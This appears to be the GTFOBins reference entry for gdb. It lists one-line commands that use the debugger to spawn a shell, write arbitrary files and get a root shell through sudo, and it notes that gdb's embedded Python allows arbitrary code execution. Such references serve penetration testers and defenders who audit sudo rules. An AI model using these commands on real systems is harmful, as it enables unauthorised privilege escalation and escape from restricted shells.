GTFOBins.github.io/_gtfobins/gdb.md
2018-07-04 19:26:52 +01:00

512 B

description functions
GDB may come with embedded Python support, in that case arbitrary code can be executed with the `python` command in the context of the GDB process. See the entries of Python [version 2](/gtfobins/python2/) and [version 3](/gtfobins/python3/).
execute-interactive file-write sudo-enabled
code
gdb -nx -ex '!sh' -ex quit
code
LFILE=file_to_write gdb -nx -ex "dump value $LFILE "data"" -ex quit
code
sudo gdb -nx -ex '!sh' -ex quit